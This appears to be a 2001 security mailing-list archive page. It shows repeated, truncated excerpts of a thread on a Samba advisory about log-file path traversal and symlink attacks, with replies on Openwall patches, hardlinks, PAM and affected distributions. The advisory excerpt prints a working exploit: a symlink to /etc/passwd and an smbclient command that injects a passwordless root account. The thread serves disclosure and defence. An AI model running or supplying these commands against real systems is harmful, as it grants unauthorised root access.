On Mon, Jul 02, 2001 at 11:15:29AM -0400, Christopher William Palow wrote:
I was hoping to test this out but haven't been able to so here goes on
theoretical...
How to make this exploit a remote one using AFS or other remote file
systems.
What does this exploit need on the remote
I was hoping to test this out but haven't been able to so here goes on
theoretical...
How to make this exploit a remote one using AFS or other remote file
systems.
What does this exploit need on the remote side?? A
symlink; soo... on a AFS system ,preferably one of a well known node that
On Wed, 27 Jun 2001, Wichert Akkerman wrote:
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
If symlink don't work you can still use a hardlink though.
On Wed, Jun 27, 2001 at 12:42:52AM +0200, Wichert Akkerman wrote:
Previously Pavol Luptak wrote:
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
If
On Wed, Jun 27, 2001 at 12:42:52AM +0200, Wichert Akkerman wrote:
Previously Pavol Luptak wrote:
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
If
On Tue, 26 Jun 2001, Joachim Blaabjerg wrote:
No, not directly, but if your `su` uses PAM to authenticate users and
PAM reacts to the spaces in the beginning of the passwd file, it
surely has something to do with PAM. To check whether `su` uses PAM or
not, try ldd `which su`|grep libpam
On Tue, Jun 26, 2001 at 11:08:04AM +0200, Joachim Blaabjerg wrote:
Appending to /etc/passwd has nothing to do with pam.
No, not directly, but if your `su` uses PAM to authenticate users and PAM
reacts to the spaces in the beginning of the passwd file, it surely has
something to do with
On Tue, Jun 26, 2001 at 04:46:01PM -0400, Simple Nomad wrote:
The limit on the netbios name length must include the ../../../ as a part
of the name, so you've blown 9 characters right there to get to the root
dir. Otherwise you could get to /etc/crontab or something and the exploit
would not
On Thu, 28 Jun 2001, Olaf Kirch wrote:
On Tue, Jun 26, 2001 at 04:46:01PM -0400, Simple Nomad wrote:
The limit on the netbios name length must include the ../../../ as a part
of the name, so you've blown 9 characters right there to get to the root
dir. Otherwise you could get to
The limit on the netbios name length must include the ../../../ as a part
of the name, so you've blown 9 characters right there to get to the root
dir. Otherwise you could get to /etc/crontab or something and the exploit
would not require a symlink. So the file can be created remotely, but as
for
Previously Pavol Luptak wrote:
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
If symlink don't work you can still use a hardlink though.
Wichert.
--
Pavol Luptak [EMAIL PROTECTED] wrote:
[wilder@lysurus wilder]$ cat /etc/redhat-release
Linux Mandrake release 8.0 (Traktopel) for i586
[wilder@lysurus wilder]$ rpm -q pam
pam-0.74-6mdk
[wilder@lysurus wilder]$ egrep log file /etc/smb.conf
# this tells Samba to use a separate log file
On Sunday 24 June 2001 15:44, you wrote:
Seems that it's not work with Samba-2.0.9. Tested on Slackware 7.1.
Slackware Changelog says 7.1 and -current (x86 anyways) are not vulnerable if
you don't change the default config. If the configuration is changed from
default, they can be vulnerable.
On Mon, 25 Jun 2001, Pavol Luptak wrote:
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
I dont know how openwall patch works but symlinks can be put anywhere (
On Mon, Jun 25, Pavol Luptak wrote:
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
The symlink restrictions work only in /tmp (mode 1777) directories, so
On Tue, Jun 26, 2001 at 09:53:29AM +0300, Jarno Huuskonen wrote:
On Mon, Jun 25, Pavol Luptak wrote:
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
The
Exploit:
This is the scenario of local privilege escalation attack against
RedHat 7.x installation:
$ ln -s /etc/passwd /tmp/x.log
$ smbclient //NIMUE/`perl -e '{print \ntoor::0:0::/:/bin/sh\n}'` \
-n ../../../tmp/x -N
...where 'NIMUE' stands for local host name
Seems that it's not work with Samba-2.0.9. Tested on Slackware 7.1.
--
Fatal Connect System administrator
YAUZA-Telecom Moscow, Russia
On Mon, Jun 25, 2001 at 12:14:02AM +0200, [EMAIL PROTECTED] wrote:
Hi,
Mandrake 7.1 (Mandrake 8.0 and RedHat6.2) defaultly logs here:
/var/log/samba/log.%m
I replaced it with /var/log/samba/%m.log and used your exploit, which
worked - into /etc/passwd was appended also line:
** Please hold with approving this one before Monday, if possible.
** This is a forced release.
Author: Michal Zalewski [EMAIL PROTECTED]
Topic:
Insufficient parameter validation and unsafe default configuration
make numerous systems running samba SMB file sharing daemon vulnerable
20 matches
Mail list logo
